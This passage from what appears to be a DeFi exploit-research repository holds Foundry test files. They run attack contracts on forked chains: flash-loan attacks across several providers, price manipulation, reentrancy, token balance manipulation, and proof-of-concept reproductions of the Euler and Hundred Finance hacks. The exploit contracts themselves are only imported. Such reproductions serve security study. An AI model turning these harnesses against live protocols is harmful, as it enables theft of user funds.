| import "../../src/flashloan/examples/MultiProviderFlashLoanExample.sol"; 6 | 7 | contract FlashLoanExampleTest is Test { 8 | uint256 mainnetFork; 9 | 10 | FlashLoanExample public flashLoanExample; 11 | MultiProviderFlashLoanExample public multiProviderFlashLoanExample; 12 | 13 | function setUp() public { 14 | mainnetFork = vm.createFork("eth"); 15 | vm.selectFork(mainnetFork); 16 | 17 | flashLoanExample = new FlashLoanExample(); 18 | multiProviderFlashLoanExample = new MultiProviderFlashLoanExample(); 19 | } 20 | 21 | function testAAVEV1FlashLoan() public { 22 | flashLoanExample.initiateAttack(FlashLoanProviders.AAVEV1); 23 | } 24 | 25 | function testAAVEV3FlashLoan() public { 26 | flashLoanExample.initiateAttack(FlashLoanProviders.AAVEV3); 27 | } 28 | 29 | function testBalancerFlashLoan() public { 30 | flashLoanExample.initiateAttack(FlashLoanProviders.BALANCER); 31 | } 32 | 33 | // function testEulerFlashLoan() public { 34 | // flashLoanExample.initiateAttack(FlashLoanProviders.EULER); 35 | // } 36 | 37 | function testMakerDAOFlashLoan() public { 38 | flashLoanExample.initiateAttack(FlashLoanProviders.MAKERDAO); 39 | } 40 | 41 | function testUniswapV2FlashLoan() public { 42 | flashLoanExample.initiateAttack(FlashLoanProviders.UNISWAPV2); 43 | } 44 | 45 | function testUniswapV3FlashLoan() public { 46 | flashLoanExample.initiateAttack(FlashLoanProviders.UNISWAPV3); 47 | } 48 | 49 | function testMultiProviderFlashLoan() public { 50 | multiProviderFlashLoanExample.initiateAttack(); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /test/examples/PriceManipulationExample.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../../src/pricemanipulation/examples/PriceManipulationExample.sol"; 6 | 7 | contract PriceManipulationExampleTest is Test { 8 | uint256 mainnetFork; 9 | 10 | PriceManipulationExample public attackContract; 11 | 12 | function setUp() public { 13 | mainnetFork = vm.createFork("eth"); 14 | vm.selectFork(mainnetFork); 15 | 16 | attackContract = new PriceManipulationExample(); 17 | } 18 | 19 | function testPriceManipulationAttack() public { 20 | attackContract.initiateAttack(); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /test/examples/ReentrancyExample.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | import "forge-std/Test.sol"; 4 | import "../../src/reentrancy/examples/ReentrancyExampleAttack.sol"; 5 | import "../../src/reentrancy/examples/ReentrancyExampleVictim.sol"; 6 | 7 | contract ReentrancyExampleTest is Test { 8 | ReentrancyExampleAttack public attackContract; 9 | ReentrancyExampleVictim public victimContract; 10 | 11 | function setUp() public { 12 | victimContract = new ReentrancyExampleVictim(); 13 | attackContract = new ReentrancyExampleAttack(address(victimContract)); 14 | deal(address(attackContract), 1 ether); 15 | deal(address(victimContract), 2 ether); 16 | } 17 | 18 | function testReentrancyAttack() public { 19 | attackContract.initiateAttack(); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /test/examples/TokensExample.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | import "forge-std/Test.sol"; 4 | import "../../src/tokens/examples/TokenExampleManipulation.sol"; 5 | import "../../src/tokens/Tokens.sol"; 6 | 7 | contract TokensExampleTest is Test { 8 | uint256 mainnetFork; 9 | 10 | TokenExampleManipulation public tokenExample; 11 | 12 | function setUp() public { 13 | mainnetFork = vm.createFork("eth"); 14 | vm.selectFork(mainnetFork); 15 | 16 | tokenExample = new TokenExampleManipulation(); 17 | } 18 | 19 | function testTokenManipulation() public { 20 | console.log("Balance before:", EthereumTokens.USDC.balanceOf(address(tokenExample))); 21 | tokenExample.manipulateTokenBalance(); 22 | console.log("Balance after:", EthereumTokens.USDC.balanceOf(address(tokenExample))); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /test/pocs/EulerHack.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | import "forge-std/Test.sol"; 4 | import "../../pocs/EulerHack.sol"; 5 | 6 | contract EulerHackTest is Test { 7 | uint256 mainnetFork; 8 | 9 | EulerHack public eulerHack; 10 | 11 | function setUp() public { 12 | console.log("[*] Forking chain before the attack at %d", 16_817_995); 13 | mainnetFork = vm.createFork("eth", 16_817_995); 14 | 15 | vm.selectFork(mainnetFork); 16 | eulerHack = new EulerHack(); 17 | } 18 | 19 | function testFlashLoan() public { 20 | 21 | for (uint i = 0; i < 6; i++) { 22 | eulerHack.initiateAttack(TargetTokens(i)); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /test/pocs/HundredFinanceHack.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | import "forge-std/Test.sol"; 4 | import "../../pocs/HundredFinanceHack.sol"; 5 | 6 | contract HundredFinanceHackTest is Test { 7 | uint256 mainnetFork; 8 | 9 | HundredFinanceHack public hundredFinanceHack; 10 | 11 | function setUp() public { 12 | mainnetFork = vm.createFork("gnosis", 21120000); 13 | vm.selectFork(mainnetFork); 14 | hundredFinanceHack = new HundredFinanceHack(); 15 | } 16 | 17 | function testFlashLoan() public { 18 | hundredFinanceHack.initiateAttack(); 19 | } 20 | } 21 | --------------------------------------------------------------------------------